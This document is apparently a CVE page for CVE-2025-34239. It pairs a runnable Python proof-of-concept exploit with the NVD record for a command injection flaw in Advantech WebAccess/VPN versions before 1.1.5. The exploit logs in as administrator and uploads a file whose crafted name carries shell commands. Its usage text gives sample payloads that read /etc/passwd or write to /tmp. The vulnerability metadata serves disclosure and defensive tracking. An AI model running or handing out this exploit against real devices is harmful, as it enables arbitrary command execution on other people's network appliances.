CVE-2025-34239

import requests import sys # CVE-2025-34239 PoC - Advantech WebAccess/VPN Command Injection # Target: AppManagementController.appUpgradeAction() # Authentication required: System Administrator def exploit(target_url, username, password, payload): """ Exploit command injection in AppManagementController.appUpgradeAction() Args: target_url: Base URL of Advantech WebAccess/VPN username: Administrator username password: Administrator password payload: Command injection payload (e.g., '; cat /etc/passwd #') """ # Login to obtain session login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code != 200: print("[-] Login failed") return False # Prepare malicious filename for appUpgradeAction upgrade_url = f"{target_url}/api/AppManagement/appUpgradeAction" # Craft filename with command injection payload malicious_filename = f"normal_firmware.bin{payload}" # Upload with malicious filename files = { 'file': (malicious_filename, b'\x00' * 100, 'application/octet-stream') } try: response = session.post(upgrade_url, files=files, timeout=30) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Payload: {payload}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <payload>") print(f"Example: python {sys.argv[0]} http://target.com admin admin123 '; id > /tmp/pwned #'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit(target, user, pwd, payload)

{"cve": {"id": "CVE-2025-34239", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:47.757", "lastModified": "2025-12-04T21:27:21.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WebAccess/VPN versions prior to 1.1.5 contain a command injection vulnerability in AppManagementController.appUpgradeAction() that allows an authenticated system administrator to execute arbitrary commands as the web server user (www-data) by supplying a crafted uploaded filename."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:webaccess\\/vpn:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.5", "matchCriteriaId": "FFBAB4BE-F708-4A56-A192-BC46C45F84D6"}]}]}], "references": [{"url": "https://icr.advantech.com/download/software", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://icr.advantech.com/support/router-models/download/511/sa-2025-01-vpn-portal-2025-11-06.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/advantech-webaccess-vpn-command-injection-in-appmanagementcontroller", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}